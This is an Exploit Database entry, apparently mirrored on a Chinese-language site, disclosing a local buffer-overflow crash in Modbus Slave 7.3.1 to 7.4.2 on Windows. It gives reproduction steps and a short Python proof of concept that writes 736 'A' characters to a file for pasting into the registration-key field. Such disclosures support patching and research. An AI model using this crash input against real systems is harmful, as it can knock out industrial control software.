Modbus Slave 7.3.1 – Buffer Overflow (DoS)

• Exploit Database
• 17 阅读

• 作者： Yehia Elghaly
  日期： 2021-11-22
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/50536/

• # Exploit Title: Modbus Slave 7.3.1 - Buffer Overflow (DoS)
  # Discovered by: Yehia Elghaly
  # Discovered Date: 2021-11-19
  # Vendor Homepage: https://www.modbustools.com/
  # Software Link : https://www.modbustools.com/download/ModbusSlaveSetup32Bit.exe
  # Tested Version: 7.3.1 < 7.4.2
  # Vulnerability Type: Buffer Overflow (DoS) Local
  # Tested on OS: Windows XP SP3 - Windows 7 Professional x86 SP1 - Windows 10 x64
  
  # Description: Modbus Slave 7.3.1 < 7.4.2 Buffer Overflow
  
  # Steps to reproduce:
  # 1. - Download and install Modbus Slave
  # 2. - Run the python script and it will create modbus.txt file.
  # 3. - Modbus Slave 7.3.1 < 7.4.2
  # 4. - Connection -> Connect
  # 5. - Paste the characters of txt file Registration Key 
  # 6. - press "ok" button
  # 7. - Crashed
  
  #!/usr/bin/python
  
  exploit = 'A' * 736
  
  try: 
  file = open("Modbus.txt","w")
  file.write(exploit)
  file.close()
  
  print("POC is created")
  except:
  print("POC not created")